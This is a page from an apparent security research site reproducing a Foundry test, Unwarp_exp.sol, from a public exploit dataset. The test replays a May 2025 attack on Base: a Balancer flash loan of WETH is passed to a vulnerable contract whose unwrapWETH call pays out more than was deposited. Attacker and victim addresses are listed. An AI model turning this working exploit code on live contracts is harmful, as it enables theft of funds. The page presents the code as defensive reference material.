Public reproduction file
src/test/2025-05/Unwarp_exp.sol
Public reproduction file for dataset entry Unwarp.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.25;5import "forge-std/Test.sol";6import "../interface.sol";8// @KeyInfo - Total Lost : ~9 K usdt9// Original Attacker : https://basescan.org/address/0x5cc162c556092fe1d993b95d1b9e9ce58a11dbc910// Attack Contract : https://basescan.org/address/0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f11// Vulnerable Contract: https://basescan.org/address/0x8befc1d90d03011a7d0b35b3a00ec50f8e01480212// Attack Tx : https://app.blocksec.com/explorer/tx/base/0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b4113//author: test15contract Unwarp is Test {16 IWETH private constant WETH = IWETH(payable(0x4200000000000000000000000000000000000006));17 IBalancerVault vault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);18 address A=0x8bEfC1d90d03011a7d0b35B3a00eC50f8E014802;22 function setUp() public {23 vm.createSelectFork("base", 30210273);24 }26 function testExploit() public {27 IERC20(WETH).approve(address(vault), type(uint256).max);28 address[] memory assets = new address[](1);29 assets[0] = address(WETH);30 uint256[] memory amounts = new uint256[](1);31 amounts[0] = 100852657473363426325;32 bytes memory encodedata = abi.encode(address(this));34 vault.flashLoan(address(this),assets,amounts,encodedata);36 emit log_named_decimal_uint("WETH Balance after the attack",address(this).balance, 18);37 }39 function receiveFlashLoan(40 address[] memory tokens,41 uint256[] memory amounts,42 uint256[] memory feeAmounts,43 bytes memory userData44 ) external {45 WETH.transfer(address(A),100852657473363426325);46 address(A).call(abi.encodeWithSignature("unwrapWETH(uint256,address)",104833984375000000000 ,address(this)));47 WETH.deposit{value: 100852657473363426325}();48 WETH.transfer(address(vault),100852657473363426325);49 }51 fallback() external payable {}53}Analysis
Dataset entry
Public Foundry test for “Unwarp” (2025-05-14). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
16 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/interface.solImported by this file · 6133 lines
- src/test/2025-05/BetaPresale_exp.solSame month in the dataset · 212 lines
- src/test/2025-05/bitallx_exp.solSame month in the dataset · 94 lines
- src/test/2025-05/Corkprotocol_exp.solSame month in the dataset · 291 lines
- src/test/2025-05/crosswise_exp.solSame month in the dataset · 178 lines
- src/test/2025-05/DogeAlliance_exp.solSame month in the dataset · 173 lines
- src/test/2025-05/Dumbo_exp.solSame month in the dataset · 214 lines
- src/test/2025-05/IRYSAI_exp.solSame month in the dataset · 104 lines
- src/test/2025-05/KRCToken_pair_exp.solSame month in the dataset · 120 lines
- src/test/2025-05/MBUToken_exp.solSame month in the dataset · 73 lines
- src/test/2025-05/Nalakuvara_LotteryTicket50_exp.solSame month in the dataset · 102 lines
- src/test/2025-05/RICE_exp.solSame month in the dataset · 142 lines
- src/test/2025-05/unverified_0000_exp.solSame month in the dataset · 99 lines
- src/test/2025-05/unverified_91a1_exp.solSame month in the dataset · 76 lines
- src/test/2025-05/UsualMoney_exp.solSame month in the dataset · 227 lines
- src/test/2025-05/YDTtoken_exp.solSame month in the dataset · 52 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attack Contract
0x0c6a8c285d696d4d9b8dd4079a72a6460a4da05f
- Vulnerable Contract
0x8befc1d90d03011a7d0b35b3a00ec50f8e014802
- Attack Tx
0xac6f716c57bbb1a4c1e92f0a9531019ea2ecfcaea67794bbd27115d400ae9b41
File record
- Name
- Unwarp
- Path
- src/test/2025-05/Unwarp_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- f19aae37f2065583960fa494b1b9127bc083e7d5
- Language
- Solidity
- Size
- 55 lines
- Date
- 2025-05-14
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2025-05/Unwarp_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob f19aae37f2065583960fa494b1b9127bc083e7d5, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.